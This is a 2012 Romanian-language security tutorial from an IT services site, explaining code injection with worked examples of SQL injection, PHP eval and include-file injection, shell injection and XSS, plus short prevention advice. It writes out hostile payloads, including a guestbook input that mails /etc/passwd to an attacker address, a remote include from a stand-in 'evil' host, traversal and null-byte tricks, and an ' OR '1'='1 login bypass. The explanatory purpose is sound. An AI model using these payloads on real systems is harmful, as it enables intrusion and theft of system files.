Data postarii 2012-09-19      Subiect: Code injection      Categorie: Securitate server

Code injection

Este o tehnica de a introduce (injecta) cod intr-un program sau sistem, exploatand faptul ca acel sistem nu verifica input-urile. Scopul acestuia este in general de a trece sau de a modifica modul de functionare a acelui program. Daca ne referim la un sistem de securitate, rezultatul poate fi unul dezastros pentru victima.


Un simplu exemplu de "Code injection": pe un server web ruleaza un script de tip "Guest book", care accepta mici mesaje din partea userilor, in general mesaje de genul:

"O zi minunata sa aveti....blabla"

Atacatorul poate stii o vulnerabilitate in acel script, asa ca introduce un mesaj de genul:

"; cat /etc/passwd |email atacator@dlsit.ro # " -acest cod o data introdus va fura fisierul passwd si il va trimite pe email-ul respectiv.

Majoritatea acestor probleme sunt legate de presupunerea eronata ca numai unele date pot fi introduse, sau numai anumite efecte pot fi cauzate.


Exemple clasice de presupuneri gresite:

- presupunerea ca metacaracterele unui API nu vor aparea niciodata intr-un input;
- presupunerea ca vor fi introduse numai caractere numerice;
- presupunerea ca valorile setate de server ( de exemplu campurile unui form sau cookie-urile) nu vor putea fi modificate de client. samd


Folosirea unui "Code injection"

Folosirea rauvoitoare. In general "code injection-ul " este vazut ca o actiune rauvoitoare. Aceste tehnici sunt populare printre hackeri si crackeri pentru a dobandi anumite informatii sau acces neautorizat intr-un sistem.


"Code injection-ul" poate fi folosit pentru:

- Modificarea arbitrara a valorilor intr-o baza de date prin tip de cod numit "SQL injection". Rezultatul acestuia poate varia de la compromiterea datelor pana la deface-ul siteului;
- Instalarea unor programe de tip malware in computerul victima prin exploatarea vulnerabilitatilor dintru browser, in momentul cand acesta viziteaza un site creeat special pentru acest tip de atac;
- Instalarea de malware sau executarea unor coduri prin exploatarea unui server, prin PHP sau ASP Injection;
- Obtinerea de privilegii (de obicei se vizeaza root-ul) prin "Shell Injection" in Unix;
- Obtinerea de privilegii (de obicei se vizeaza Local System) prin "Shell Injection" in Windows;
- Furtul sesiunilor/cookieurilor din browsere, folosind html/script injection (cross site scripting).


Actiuni "binevoitoare"

"Code injection" poate fi relativ bun in unele cazuri. De exemplu, un user care doreste sa schimbe sau sa modifice starea unui program sau sistem, poate apela la "code injection".

Exemple:

- includerea unei coloane in pagina unei "search result" care nu fusese inclusa in proiectul initial;
- filtrarea, ordonarea sau gruparea datelor unui field.

De obicei se foloseste aceasta modalitate deoarece:

- Modificarea functionabilitatii programului este imposibila;
- Modificare ar produce niste costuri prea mari;
- Modificarea ar dura prea mult.


Prevenirea unui "Code injection"

- Input validation;
- Input encoding;
- Output encoding;
- Alte modalitati de genul parametrizarii query-urilor sql.


Exemple de Code injection


"SQL Injection"

Acesta se foloseste de sintaxa sql-ului pentru a injecta comenzi care pot citi, modifica sau compromite o baza de date.
Luam ca exemplu o pagina dintr-un site. Aceasta are doua fielduri care permit userilor sa introduca un username si o parola. Codul din spatele paginii va genera un query care va verifica aceste date intr-o lista de username-uri:



Cod:
SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'Password'




Daca acest query va returna un row, atunci accesul este permis. Insa, daca atacatorul introduce un username valid dar injecteaza un cod (de exemplu "password' OR '1'='1") in

fieldul parolei, query-ul va arata asa:



Cod:
SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'



In exemplul de mai sus, "Password" este presupus a fi gol sau sa contina un string oarecare. "'1'='1'" va fi mereu adevarat, asa ca multe linii vor fi returnate, rezultand in validarea accesului.



PHP Injection

"PHP Injection" "ASP Injection," etc, sunt termeni care se refera la diferite tipuri prin care atacatorul trimite codul engine-ului de script al serverului.

In practica, PHPinjection inseamna ori exploatarea vulnerabilitatilor evaluarilor dinamice, "include file injection" sau alte chestii asemanatoare.



Vulnerabilitatile evaluarilor dinamice -Eval Injection

O asemenea vulnerabilitate apare cand atacatorul poate controla o parte sau tot input string-ul din eval()


Cod:
$myvar = 'ovaloare';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');



Argumentul "eval" va fi procesat ca PHP, deci comenzile aditionale pot fi luate ca atare. De exemplu, daca "arg" este setat a fi "10; system('/bin/echo uh-oh')", codul aditional executa un program de pe server, in acest caz "/bin/echo".


Include File Injection

Consideram urmatorul script (acesta include o pagina specifica printr-un request)


Cod:
?php
   $color = 'blue';
   if ( isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>

 <form method="get">
   <select name="COLOR">
      <option value="rosu">rosu</option>
      <option value="albastru">albastru</option>
   </select>
   <input type="submit">
</form>







Developer-ul a crezut ca numai albastru.php si rosu.php vor fi incarcate. Dar cum fiecare poate insera un cod arbitrar in COLOR, este posibil sa injectezi cod din fisiere.

- test.php?COLOR=http://evil/exploit -injecteaza un exploit hostat in alta parte
- test.php?COLOR=C:\ftp\upload\exploit - injecteaza un fisier uploadat care contine un exploit
- test.php?COLOR=..\..\..\..\ftp\upload\exploit -injecteaza un exploit uploadat foloind "directory traversal"
- test.php?COLOR=C:\nota.txt%00 - exemplul foloseste metacaracterul null pentru a sterge sufixul .php, in acest fel se permite accesul altor fisiere in afara de cele .php (daca "magic_quotes_gpc" este ON, atunci acest atac nu poate fi facut.


Shell injection

Numele vine de la shellurile din unix, dar este aplicabil oricarui sistem care permite rularea de softuri care executa linii de comanda.

Sa consideram urmatorul php, care ruleaza un program extern numit funnytext. Acesta inlocuieste cuvintele introduse de user, cu altele predefinite.



Cod:


passthru ( " /home/user/php/funnytext "
           . $_GET['USER_INPUT'] );
?>




Acest program poate fi injectat prin mai multe feluri:

-`command` va executa o comanda
-$(command) va executa o comanda
-; command va executa o comanda si va afisa rezultatul
-| command va executa o comanda si va afisa rezultatul
-&& command va executa o comanda si va afisa rezultatul
-|| command va executa o comanda si va afisa rezultatul
- >/home/user/php/.bashrc - va suprascrie continutul fisierului .bashrc
- < /home/user/phpguru/.bashrc - va trimite fisierul .bashrc ca input pentru funnytext


HTML/SCRIPT injection (Cross site scripting)

"Cross site scripting"este un subiect foarte popular in ziua de azi, putand fi regasit si sub pseudonimul "XSS". XSS se refera la o bresa intr-un script web prin care liniile

introduse de user nu sunt verificate.

Sunt doua tipuri de XSS:

1. Activ. Acest tip de xss este mai putin periculos, pentru ca input-ul userului este plasat intr-o pagina generata dinamic, astfel nu se pot produce modificari in server.
2. Pasiv. Acest tip de xss este mai periculos, deoarece input-ul este scris intr-o pagina statica.

Aceste articole vor fi folosite strict în scop educativ.

www.dlsit.ro   >> design - linux - servicii - it.ro Pentru orice problema tehnica contactati-ne